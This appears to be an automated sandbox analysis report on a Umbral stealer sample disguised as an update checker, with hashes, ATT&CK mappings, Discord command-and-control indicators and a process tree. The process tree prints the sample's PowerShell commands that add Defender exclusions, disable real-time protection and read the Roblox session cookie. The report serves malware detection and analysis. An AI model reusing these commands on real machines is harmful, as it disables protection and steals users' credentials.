umbral | 4b64b08789791f49a88c79ad4c0eae5628fe7547489f958312f53c95f23403ff

Analysis

max time kernel
115s
max time network
117s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
12-08-2024 09:36

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General

Target

citrontoppest/citrontoppest/updatechecker/updatecheckercitron.exe
Size

227KB
MD5

a6db1722b4ed09cd06fbdf6f80df47da
SHA1

1fe86fceb4884cb37c4187591ccecd7a4c4d9c15
SHA256

ed1deb13b32c20b6cd35d50351c78d3729315dac5da6f5795dae2c14bed8520b
SHA512

61542031f6f60fca814400c9ec21c0eefa15422646c30b5b3192231a4d5a5845681f7d619818fa0c7c448f860101790d7971c80aa90637e58956b33023079785
SSDEEP

6144:+loZMLrIkd8g+EtXHkv/iD4cYiL+cCFdWQj+ctBIpHb8e1mUi:ooZ0L+EP8cYiL+cCFdWQj+ctBIhK

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral8/memory/2504-1-0x000001979EF50000-0x000001979EF90000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2312	powershell.exe
3620	powershell.exe
2332	powershell.exe
3324	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	updatecheckercitron.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
52	discord.com
53	discord.com
54	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
48	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3468	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2504	updatecheckercitron.exe
2312	powershell.exe
2312	powershell.exe
2332	powershell.exe
2332	powershell.exe
3324	powershell.exe
3324	powershell.exe
3856	powershell.exe
3856	powershell.exe
3620	powershell.exe
3620	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2504	updatecheckercitron.exe
Token: SeIncreaseQuotaPrivilege	2184	wmic.exe
Token: SeSecurityPrivilege	2184	wmic.exe
Token: SeTakeOwnershipPrivilege	2184	wmic.exe
Token: SeLoadDriverPrivilege	2184	wmic.exe
Token: SeSystemProfilePrivilege	2184	wmic.exe
Token: SeSystemtimePrivilege	2184	wmic.exe
Token: SeProfSingleProcessPrivilege	2184	wmic.exe
Token: SeIncBasePriorityPrivilege	2184	wmic.exe
Token: SeCreatePagefilePrivilege	2184	wmic.exe
Token: SeBackupPrivilege	2184	wmic.exe
Token: SeRestorePrivilege	2184	wmic.exe
Token: SeShutdownPrivilege	2184	wmic.exe
Token: SeDebugPrivilege	2184	wmic.exe
Token: SeSystemEnvironmentPrivilege	2184	wmic.exe
Token: SeRemoteShutdownPrivilege	2184	wmic.exe
Token: SeUndockPrivilege	2184	wmic.exe
Token: SeManageVolumePrivilege	2184	wmic.exe
Token: 33	2184	wmic.exe
Token: 34	2184	wmic.exe
Token: 35	2184	wmic.exe
Token: 36	2184	wmic.exe
Token: SeIncreaseQuotaPrivilege	2184	wmic.exe
Token: SeSecurityPrivilege	2184	wmic.exe
Token: SeTakeOwnershipPrivilege	2184	wmic.exe
Token: SeLoadDriverPrivilege	2184	wmic.exe
Token: SeSystemProfilePrivilege	2184	wmic.exe
Token: SeSystemtimePrivilege	2184	wmic.exe
Token: SeProfSingleProcessPrivilege	2184	wmic.exe
Token: SeIncBasePriorityPrivilege	2184	wmic.exe
Token: SeCreatePagefilePrivilege	2184	wmic.exe
Token: SeBackupPrivilege	2184	wmic.exe
Token: SeRestorePrivilege	2184	wmic.exe
Token: SeShutdownPrivilege	2184	wmic.exe
Token: SeDebugPrivilege	2184	wmic.exe
Token: SeSystemEnvironmentPrivilege	2184	wmic.exe
Token: SeRemoteShutdownPrivilege	2184	wmic.exe
Token: SeUndockPrivilege	2184	wmic.exe
Token: SeManageVolumePrivilege	2184	wmic.exe
Token: 33	2184	wmic.exe
Token: 34	2184	wmic.exe
Token: 35	2184	wmic.exe
Token: 36	2184	wmic.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2332	powershell.exe
Token: SeDebugPrivilege	3324	powershell.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeIncreaseQuotaPrivilege	4856	wmic.exe
Token: SeSecurityPrivilege	4856	wmic.exe
Token: SeTakeOwnershipPrivilege	4856	wmic.exe
Token: SeLoadDriverPrivilege	4856	wmic.exe
Token: SeSystemProfilePrivilege	4856	wmic.exe
Token: SeSystemtimePrivilege	4856	wmic.exe
Token: SeProfSingleProcessPrivilege	4856	wmic.exe
Token: SeIncBasePriorityPrivilege	4856	wmic.exe
Token: SeCreatePagefilePrivilege	4856	wmic.exe
Token: SeBackupPrivilege	4856	wmic.exe
Token: SeRestorePrivilege	4856	wmic.exe
Token: SeShutdownPrivilege	4856	wmic.exe
Token: SeDebugPrivilege	4856	wmic.exe
Token: SeSystemEnvironmentPrivilege	4856	wmic.exe
Token: SeRemoteShutdownPrivilege	4856	wmic.exe
Token: SeUndockPrivilege	4856	wmic.exe
Token: SeManageVolumePrivilege	4856	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 2184	2504	updatecheckercitron.exe	97
PID 2504 wrote to memory of 2184	2504	updatecheckercitron.exe	97
PID 2504 wrote to memory of 2312	2504	updatecheckercitron.exe	99
PID 2504 wrote to memory of 2312	2504	updatecheckercitron.exe	99
PID 2504 wrote to memory of 2332	2504	updatecheckercitron.exe	101
PID 2504 wrote to memory of 2332	2504	updatecheckercitron.exe	101
PID 2504 wrote to memory of 3324	2504	updatecheckercitron.exe	103
PID 2504 wrote to memory of 3324	2504	updatecheckercitron.exe	103
PID 2504 wrote to memory of 3856	2504	updatecheckercitron.exe	105
PID 2504 wrote to memory of 3856	2504	updatecheckercitron.exe	105
PID 2504 wrote to memory of 4856	2504	updatecheckercitron.exe	107
PID 2504 wrote to memory of 4856	2504	updatecheckercitron.exe	107
PID 2504 wrote to memory of 348	2504	updatecheckercitron.exe	109
PID 2504 wrote to memory of 348	2504	updatecheckercitron.exe	109
PID 2504 wrote to memory of 3868	2504	updatecheckercitron.exe	111
PID 2504 wrote to memory of 3868	2504	updatecheckercitron.exe	111
PID 2504 wrote to memory of 3620	2504	updatecheckercitron.exe	113
PID 2504 wrote to memory of 3620	2504	updatecheckercitron.exe	113
PID 2504 wrote to memory of 3468	2504	updatecheckercitron.exe	115
PID 2504 wrote to memory of 3468	2504	updatecheckercitron.exe	115

C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe
"C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2504
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3856
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4856
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:348
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3620
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
0e046a2ca47c01116ab2c42b4553232c

SHA1
750650547f305d5cd7f832341f6a17618aa98800

SHA256
d063753bbc9924e4bf9306167893909c3898072109e13b479ccdac493a8f3a2d

SHA512
dc1c95dbb27fb1fcc577a841abad5a2ca16445b1c51640853f497df8fca260ae5d5fee2d402b18c61a263a6af5a5b71661fb880234bd8de3e6636887f03ae0df

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
369b89e3801fb1c3df3a7527516edea6

SHA1
1dcf07320cbe1911d7138f4287b20e90e8f2bc25

SHA256
18b86f2340bc1547cc647693777444a0788551baee5989b0f8b186b8109f291c

SHA512
c819d002f42629c97a26f4e81c10a4c8a6b20a4bbfa269306675badaa7828740b80fe6c31945fc6f4c06ad812c1f04c6cc37ac62cb59ed9c0af22a819b259d87

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qyuiucia.cd0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2312-20-0x00007FFD086F0000-0x00007FFD091B1000-memory.dmp

Filesize
10.8MB

Download
memory/2312-15-0x00007FFD086F0000-0x00007FFD091B1000-memory.dmp

Filesize
10.8MB

Download
memory/2312-16-0x00007FFD086F0000-0x00007FFD091B1000-memory.dmp

Filesize
10.8MB

Download
memory/2312-17-0x00007FFD086F0000-0x00007FFD091B1000-memory.dmp

Filesize
10.8MB

Download
memory/2312-5-0x000002157BF30000-0x000002157BF52000-memory.dmp

Filesize
136KB

Download
memory/2504-35-0x00000197B9710000-0x00000197B9786000-memory.dmp

Filesize
472KB

Download
memory/2504-4-0x00007FFD086F0000-0x00007FFD091B1000-memory.dmp

Filesize
10.8MB

Download
memory/2504-0-0x00007FFD086F3000-0x00007FFD086F5000-memory.dmp

Filesize
8KB

Download
memory/2504-36-0x00000197B9530000-0x00000197B9580000-memory.dmp

Filesize
320KB

Download
memory/2504-37-0x00000197B9790000-0x00000197B97AE000-memory.dmp

Filesize
120KB

Download
memory/2504-3-0x00007FFD086F3000-0x00007FFD086F5000-memory.dmp

Filesize
8KB

Download
memory/2504-2-0x00007FFD086F0000-0x00007FFD091B1000-memory.dmp

Filesize
10.8MB

Download
memory/2504-73-0x00000197A0D00000-0x00000197A0D0A000-memory.dmp

Filesize
40KB

Download
memory/2504-74-0x00000197B96F0000-0x00000197B9702000-memory.dmp

Filesize
72KB

Download
memory/2504-1-0x000001979EF50000-0x000001979EF90000-memory.dmp

Filesize
256KB

Download
memory/2504-92-0x00007FFD086F0000-0x00007FFD091B1000-memory.dmp

Filesize
10.8MB

Download